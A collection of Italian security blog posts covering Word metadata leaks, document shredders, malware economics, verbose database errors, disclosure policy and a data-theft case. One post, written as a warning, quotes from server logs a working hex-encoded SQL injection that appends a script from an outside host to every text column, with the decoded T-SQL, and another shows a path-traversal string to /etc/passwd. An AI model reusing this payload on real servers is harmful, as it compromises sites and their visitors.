Il titolo è volutamente provocatorio e l’antagonismo ideologico tra le major dell’informatica non è l’oggetto di questo post, che è un esercizio teorico basato su un fatto di cronaca.

Recentemente c’è stato un attacco coordinato proveniente dalla Cina contro il servizio di posta elettronica di Google. L’attacco sarebbe stato coordinato attraverso dei computer controllati tramite il protocollo Aurora, la cui analisi ne rivela la complessità e fa chiaramente capire che non è stato creato dal solito gruppo di smanettoni cantinari.

Immaginiamo di voler penetrare in un migliaio di account email di Google. Abbiamo sostanzialmente tre vie per farlo: o rubiamo le password agli utenti con vari sistemi (social engineering, accessi fisici ai loro computer, intercettazioni ambientali), o tentiamo di accedere utilizzando password generate più o meno casualmente, o troviamo un buco nella sicurezza dei sistemi di BigG.

Il primo sistema è rischioso, costoso e anche poco efficace, specialmente se le vittime dell’attacco sono preparate dal punto di vista informatico e utilizzano computer diversi per collegarsi. Senza contare che il crivello antispam di Google potrebbe eliminare i messaggi di phishing. Da ultimo, se lo spionaggio venisse scoperto potrebbe compromettere tutta l’operazione. No buono.

Tentare sistematicamente le password è fuori discussione per vari motivi. Innanzi tutto i sistemi di Google sono ben preparati per riconoscere e bloccare questi tentativi; inoltre, in caso di ripetuti tentativi di login non autorizzato, si corre il rischio che l’utente vittima dell’attacco venga avvisato dei tentativi da parte dei sistemi automatici del gestore. Anche se tutte queste limitazioni non esistessero, sarebbe comunque un tentativo che richiederebbe tempo e risorse. Per avere un’idea, utilizzando i soli caratteri scrivibili attraverso una tastiera USA modificati usando solamente il tasto maiuscola (per i tecnici: il set ASCII stampabile), con una password di 10 caratteri le combinazioni sarebbero 95^10. Con il set ASCII-esteso si aggiungono 128 caratteri e una password di 10 caratteri ha 223^10 combinazioni. Il tutto senza prendere in considerazione Unicode e il set di ideogrammi cinesi. Tutto quanto per un solo utente, i numeri devono essere moltiplicati per gli utenti da attaccare. Decisamente poco pratico.

La soluzione più praticabile sembrerebbe essere quella di trovare una falla nella protezione del sistema da attaccare, ben sapendo che, una volta trovata un’ipotetica vulnerabilità, il tempo per sfruttarla sarebbe veramente poco. Teniamo presente che non stiamo parlando di sprovveduti, ma di persone molto abili dal punto di vista informatico. Meglio ancora se si dispone di un basista all’interno di Google, anche se non siamo sicuri di poterlo sfruttare: si sa i tecnici parlano tra loro e discutono volentieri dei loro problemi con i colleghi; peccato che, come insegnavano gli Inglesi, loose lips sink ships. I tentativi possono continuare per dei mesi, ma l’attaccante ha dalla sua un numeroso esercito di computer sotto il suo controllo. Possiamo solo immaginare quale sia stata la sorpresa nello scoprire non già un problema di sicurezza, ma una backdoor collocata deliberatamente per permettere l’accesso alle forze dell’ordine americane. Et voilà! Ecco il “baco perfetto”: una backdoor di un sistema che deve esistere ex lege, non si potrebbe chiedere di meglio.

Vero? Falso? Impossibile dirlo per ora. Però non fatevi spedire password di altri sistemi su Gmail. Just in case…

Inutile negare che alcuni programmi di Microsoft, se usati assieme, facilitino la vita di tutti i giorni in ufficio, del resto sono pensati per quello. Ma spesso può capitare che i programmi siano troppo solerti e che non ci si renda conto che quello che viene copiato e, soprattutto, incollato non è solamente il testo formattato che vediamo, ma anche alcune informazioni note con il termine tecnico di metadati e informazioni circa il nostro PC

Un cliente mi ha mandato una mail composta con Outlook Express in cui aveva fatto un copia e incolla di un testo creato con Word. Il sorgente HTML di una mail composta in questo modo può rivelare alcune informazioni che vogliamo restino private o che potrebbero essere utilizzate come elementi di social engineering per portare degli attacchi alla nostra organizzazione.

Di seguito mostro alcuni elementi che potrebbero essere contenuti in una mail inviata con il metodo appena descritto; ovviamente i dati veri sono stati omessi o modificati per proteggere l’innocente. Mi limito qui ad analizzare la parte HTML del messaggio, va da sé che non è l’unica fonte di informazioni che dovrebbero restare riservate, in quanto anche gli header del messaggio  potrebbero contenere informazioni preziose per i malintenzionati.

Subito dopo il tag TITLE c’è un tag BASE con questo contenuto: file:///C:/Documents and Settings/user/Desktop/pippo/Lettera pluto.htm che rivela il percorso completo del documento e dice già molte cose sul PC di chi lo manda. La stessa informazione è ripetuta varie volte all’interno del documento, specialmente se sono presenti delle immagini.

Di seguito due tag META indicano esattamente la versione di Word e del traduttore HTML utilizzati, informazione utili per attacchi mirati contro vulnerabilità specifiche di alcune versioni del software.

La parte più succosa è però il punto in cui sono inseriti i metadati del documento Word, quei dati che molte volte tradiscono la vera origine del documento o il tempo impiegato per redigerlo, ecco il contenuto dei metatadati con valori inventati:

 <o:DocumentProperties>

  <o:Author>Pippo</o:Author>

  <o:LastAuthor>Pluto</o:LastAuthor>

  <o:Revision>9</o:Revision>

  <o:TotalTime>429</o:TotalTime>

  <o:LastPrinted>2005-02-06T15:20:00Z</o:LastPrinted>

  <o:Created>2009-09-01T14:23:00Z</o:Created>

  <o:LastSaved>2009-09-01T16:00:00Z</o:LastSaved>

  <o:Pages>47</o:Pages>

  <o:Words>807</o:Words>

  <o:Characters>4096</o:Characters>

  <o:Company>A.C.M.E. S.p.A.</o:Company>

  <o:Lines>44</o:Lines>

  <o:Paragraphs>42</o:Paragraphs>

  <o:CharactersWithSpaces>6093</o:CharactersWithSpaces>

  <o:Version>9.6936</o:Version>

 </o:DocumentProperties>

Questo post non ha certo la pretesa di essere esaustivo in materia: non in tutte le mail sono presenti questi dati e magari potrebbero esserci altri dati in caso di documenti formattati diversamente o creati con programmi differenti. Un audit periodico sui dati che si spediscono involontariamente a terzi non farebbe male.

Alcune norme di legge e le regole del buon senso richiedono che alcuni documenti vengano distrutti prima di essere gettati nella spazzatura al fine di vanificare eventuali azioni di trashing.

È fuori discussione che stracciare a mano i fogli di carta non sia una soluzione sicura. Esistono in commercio delle macchine distruggi documenti (shredder) che sminuzzano i fogli di carta (o di plastica) in modo da rendere difficile la lettura del documento originale.

La normativa DIN 32757 divide in sei livelli i distruggidocumenti in base alla dimensione dei frammenti di carta prodotti dalla macchina.

Le macchine più semplici tagliano i fogli in strisce lunghe quanto il foglio e larghe da pochi millimetri a qualche centimetro; i distruggi documenti un po’ più sicuri creano frammenti di carta larghi pochi millimetri e lunghi alcuni centimetri; i sistemi più sofisticati creano frammenti lunghi pochi millimetri e larghi un millimetro o poco più.

L’immagine di questo post mostra tre frammenti ottenuti con un Fellowes H-2C. Il frammento (1) è facilmente leggibile e chi ha familiarità con i voli aerei capisce immediatamente a cosa si riferisca. Il frammento (2) contiene scritte di dimensione paragonabile al frammento (1), ma in questo caso il foglio è stato inserito con le scritte inclinate rispetto all’asse del sistema di taglio. Il frammento (3) contiene del testo scritto a mano (da me) ed è illeggibile non solamente perché l’ho scritto io, ma anche perché la scritta ha una dimensione nettamente superiore della larghezza del frammento.

Un sistema di distruzione con le caratteristiche del H-2C è soddisfacente per scopi casalinghi o commerciali purché i fogli vengano inseriti storti; purtroppo la macchina ha una canna di 23 centimetri, che rende necessario rompere i fogli A4 prima di darli in pasto al tritadocumenti.

Da ultimo, bisogna tener presente che un uso intensivo dell’apparecchio lascia pezzi di carta sui sistemi di taglio che ne riducono l’efficienza, specialmente sulle parti laterali. È quindi necessaria una verifica periodica del sistema di taglio per rimuovere eventauli frammenti di carta.

Cos’hanno in comune malware e spam? Molto più di quello che una persona non del settore possa immaginare.

Innanzi tutto, alcune premesse doverose. Per quanto difficile da credere, lo spam rende soldi a chi lo gestisce. Il fatto stesso che continui ad esistere significa che è una pratica conveniente. Lo spam non è opera di un ragazzino solitario, ma è un’azione coordinata portata avanti da organizzazioni malavitose. Il malware non è più il virus scritto dall’universitario per noia o per goliardia, ma è un programma che ha il preciso e deliberato scopo di assumere il controllo di un computer o carpirne i dati (o entrambi).

Se è vero che molti computer casalinghi non hanno veramente nulla da nascondere al mondo (onestamente, le foto delle vostre vacanze e dei vostri compleanni non interessano a terzi), parimenti il mondo della malavita organizzata non ha interesse alle foto delle vostre vacanze. Ciò che fa gola del vostro computer è la sua connessione permanente a Internet, ovvero la vostra banda.

Il malware di ultima generazione fa di tutto per non essere scoperto dall’utente, se ne sta zitto zitto in un angolino del vostro computer e sfrutta la banda o la capacità di calcolo della vittima per scopi non esattamente ragolari quali, a titolo di esempio:

• attacchi distribuiti di denial of service;
• attacchi per tentare di indovinare le password di sistemi protetti;
• scansioni di blocchi di indirizzi per vedere se ci sono servizi da attaccare;
• invio di spam, magari pescando degli indirizzi anche dalle vostre rubriche o dalla cache del vostro browser;
• crack di sistemi CAPTCHA;
• server di distribuzione di materiale illegale (software, musica, film).

Possono passare mesi prima che ci si accorga di essere stati infettati da qualche malware e durante quel periodo potreste aver contribuito ad inviare migliaia di mail di spam: riflettete su questo la prossima volta che considerate l’antivirus o l’aggiornamento del medesimo una scocciatura.

Riprendo di nuovo il tema degli errori, dopo averne parlato la scorsa estate.

Una buona diagnostica degli errori è fondamentale per qualsiasi linguaggio di programmazione, ma nel caso di linguaggi per il web molti dettagli dovrebbero essere tenuti abbastanza nascosti agli utenti quando la procedura va in produzione.

Un esempio tipico è il verificarsi di un problema di connessione al database che impedisce il caricamento dei contenuti di un sito. Per capire cosa sto dicendo provate a cercare su Google la stiringa warning mysql_connect “access denied for user” “using password”; se andate un po’ in là nei risultati cominciate a trovare non più le pagine che descrivono questo errore, ma i siti in cui si verifica questo errore. La visualizzazione sulla pagina del client di questa diagnostica è abbastanza pericolosa perché può rivelare informazioni utili per eventuali attacchi al sito. Ecco due esempi di diagnostica consegnata al browser del visitatore:

Warning: mysql_connect() [function.mysql-connect]: Access denied for user ‘festival’@'localhost’ (using password: YES) in /home/www/if/old/functions.php on line 86

Microsoft OLE DB Provider for SQL Server error ‘80040e4d’ Login failed for user ‘mediamanager’. /V1/Playlist.asx, line 30

Nella prima diagnostica non solo diciamo a tutto il mondo che stiamo utilizzando MySQL, ma riveliamo il nome dell’utente con cui ci connettiamo al database e il path assoluto dei file nel sito web; in questo modo un attaccante che vuole leggere, ad esempio, il file /etc/passwd sa che il path relativo a functions.php è ../../../../../etc/passwd

Se il server HTTP e il linguaggio utilizzato lo prevedono (e di solito lo prevedono), la prima azione da intraprendere è ovviamente la disabilitazione dell’invio di ogni tipo di messaggio al client, limitandosi a tenere un log locale degli errori.

Dal momento che, come nel primo esempio, l’apertura della connessione al server SQL avviene solitamente in un solo punto del programma, per evitare questo tipo di problema è sufficiente testare il valore ritornato dalla funzione di connessione e, in caso di errore, visualizzare una pagina di cortesia in cui si dice che il sito è temporaneamente in manutenzione o qualcosa del genere. Attenzione a mettere la diagnostica dettagliata dell’errore tra commenti HTML come fa, per esempio, Flickr perché non sono l’unico io ad andare a vedere il sorgente HTML di questo tipo di pagine…

Trusted source riporta la notizia di un nuovo attacco a Microsoft SQL Server.

L’attacco sarebbe partito la scorsa settimana e avrebbe già interessato migliaia di siti.

Se spulciate i log del vostro IIS potreste trovare una riga di questo tipo:

GET /?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520
4054207661726368617228323535292C4043207661726368617228343030302920
4445434C415245205461626C655F437572736F7220435552534F5220464F522073
656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563
747320612C737973636F6C756D6E73206220776865726520612E69643D622E6964
20616E6420612E78747970653D27752720616E642028622E78747970653D393920
6F7220622E78747970653D3335206F7220622E78747970653D323331206F722062
2E78747970653D31363729204F50454E205461626C655F437572736F7220464554
4348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C4043205748494C4528404046455443485F5354415455533D30292042454749
4E20657865632827757064617465205B272B40542B275D20736574205B272B4043
2B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C73637269707420
7372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F77
2E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27
206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372
633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A
73223E3C2F7363726970743E3C212D2D272727294645544348204E455854204652
4F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C
655F437572736F72%20AS%20CHAR(4000));EXEC(@S);HTTP/1.1

Che altro non è che la codifica esadecimale di questa procedura SQL (senza i link ai siti che ospitano gli script):

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+””>
</title><script src=”http://sdo.1000mg.cn/csrss/w.js”></script>
<!–” where ‘+@C+’ not like ”%”></title>
<script src=”http://sdo.1000mg.cn/csrss/w.js”></script><!–”’)
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

La sequenza SQL è abbastanza offuscata e, comunque, non è presente la parte di JavaScript che completa l’attacco l’URL del JavaScript non è più raggiungibile. Lo scopo dell’attaccante è di inserire nelle pagine visualizzate da un sito ritenuto affidabile del codice HTML che linka pagine di phishing o comunque di dubbia legalità. L’efficacia dell’attacco è aumentata dall’implicita fiducia che molti utenti hanno dei siti compromessi da questo attacco che stanno visitando.

Microsfot SQL Server è utilizzato da molte organizzazioni governative e da siti ritenuti affidabili dagli utenti; pertanto è bene aumentare il livello di attenzione anche quando si visitano certi siti ritenuti affidabili.

Un sistema per sapere senza fatica il tipo di server che state contattando è l’estensione di Firefox Server Spy.

In questo momento l’attacco è ancora in atto e ci sono molti siti compromessi, quindi prestate attenzione.

Ficcatevelo in testa: nascondere (o negare) i problemi di un sistema è il peggiore dei comportamenti possibili.

La considerazione nasce, ovviamente, dalla paradossale storia che ha coinvolto alcuni studenti del MIT e un servizio di trasporti pubblici del Massachussetts. Innanzi tutto va chiarito che le persone coinvolte non sono un manipolo di malviventi, ma studenti del MIT il cui professore è Ron Rivest, la ‘R’ del RSA. Gli studenti hanno scoperto un problema nel sistema di tariffazione dei trasporti pubblici e hanno applicato le procedure descritte dalla Full Disclosure Policy (RFPolicy) v2.0. La policy prevede che chi scopre un problema di un sistema contatti per prima cosa l’autore/gestore del sistema con cui stabilisce un dialogo che ha come scopo primario la soluzione del problema.

Questa volta, anziché dar retta ai tecnici è stata prestata attenzione ai legali, i quali sono riusciti sì ad impedire che venissero rivelati gli estremi della vulnerabilità, ma non a risolvere il problema. Intendiamoci: come sono riusciti gli studenti del MIT potrebbe arrivarci chiunque altro e questa volta potrebbe non essere ispirato da nobili sentimenti. Oppure potrebbe essere che già in questo momento qualcuno stia utilizzando da tempo le falle del sistema per viaggiare gratuitamente e questo qualcuno ha ringraziato l’ufficio legale che ha bloccato gli studenti del MIT.

Se qualcuno, quindi, scopre un problema nei nostri sistemi e applica la RFPolicy, non dobbiamo rispondere con una granaiuola di cause, ma dobbiamo ringraziarlo e, magari, invitarlo a collaborare per sistemare il problema. Una volta sistemato il problema, bisogna renderlo pubblico sia per invogliare chi è coinvolto ad aggiornare il proprio sistema, sia per evitare che altri facciano la medesima scoperta e la utilizzino per scopi non proprio legali.

L’adesione alla RFPolicy da parte di una Società è sempre un comportamento coraggioso perché alcuni presunti responsabili delle PR pensano alla caduta di immagine nell’immediato e non vedono le conseguenze per l’intera Società (non solamente per la sua immagine) a lunga scadenza.

In cauda venenum: il fatto che vengano denunciate pochissime frodi informatiche al sistema bancario dipende dalla robustezza della loro infrastuttura informatica?

Aggiunta: La presentazione è stata pubblicata e vale la pena di essere consultata da qualsiasi persona che abbia a che fare con la sicurezza informatica, non solamente riguardo ai trasporti pubblici.

La CBS riporta (via Slashdot) che all’aeroporto di San Francisco il 26 luglio u.s. è stato rubato un computer portatile che contiene le informazioni personali di 33.000 clienti di Clear, un servizio che consente a chi paga 100$/anno di seguire una procedura più rapida durante le operazioni di controllo di sicurezza negli aeroporti americani.

A parte l’idiozia di far pagare un quid per evitare i controlli di sicurezza, le informazioni personali contenute nel computer non erano protette da alcun sistema di crittografia, perciò chi ha in mano in questo momento il portatile ha libero accesso ai dati personali e agli estremi dei documenti di identità di 33.000 cittadini americani, molti dei quali, è ragionevole presumere, sono utenti abituali del servizio aereo.

Facendo un rapido calcolo, quei 33.000 clienti hanno generato un fatturato di oltre 3.000.000$ (ipotizziamo che alcuni siano dati di test, o dipendenti, oppure omaggi): è mai possibile che un’organizzazione con un simile fatturato annuo non si sia mai posta il problema della sicurezza? In una pagina apposita del sito, Clear dichiara che «in June, 2007, Ernst & Young LLP concluded a comprehensive, independent audit of our privacy policies and practices», evidentemente l’audit non era così approfondito.

A mio modo di vedere, stando ai dati pubblicati, il problema in questo caso è duplice.

Da un lato c’è un’organizzazione che non è in grado di tutelare i dati che le vengono consegnati. La nostra legge prevede non per nulla una serie di norme da rispettare in questo settore, molte delle quali sono pensate per far capire a chi sta gestendo i dati l’importanza di ciò che ha in mano. È fuor di dubbio che ci sia stata della leggerezza nell’affrontare questo problema.

Dall’altro lato abbiamo il personale che, probabilmente, non è stato sufficientemente addestrato o reso consapevole dei rischi che comporta la sottrazione di un computer con quei dati. Spesso chi commette leggerezze in questo settore lo fa perché nessuno gli ha mai spiegato quanto possano valere i dati che sta trattando per persone con finalità poco legali.

Concludo con una riflessione per i miei tre lettori. Pensate alle chiavette USB e ai dischi rigidi tascabili che vi portate dietro. Pensate alle conseguenze di un furto di quegli oggetti e ricordatevi che il mondo è piccolo, molto piccolo…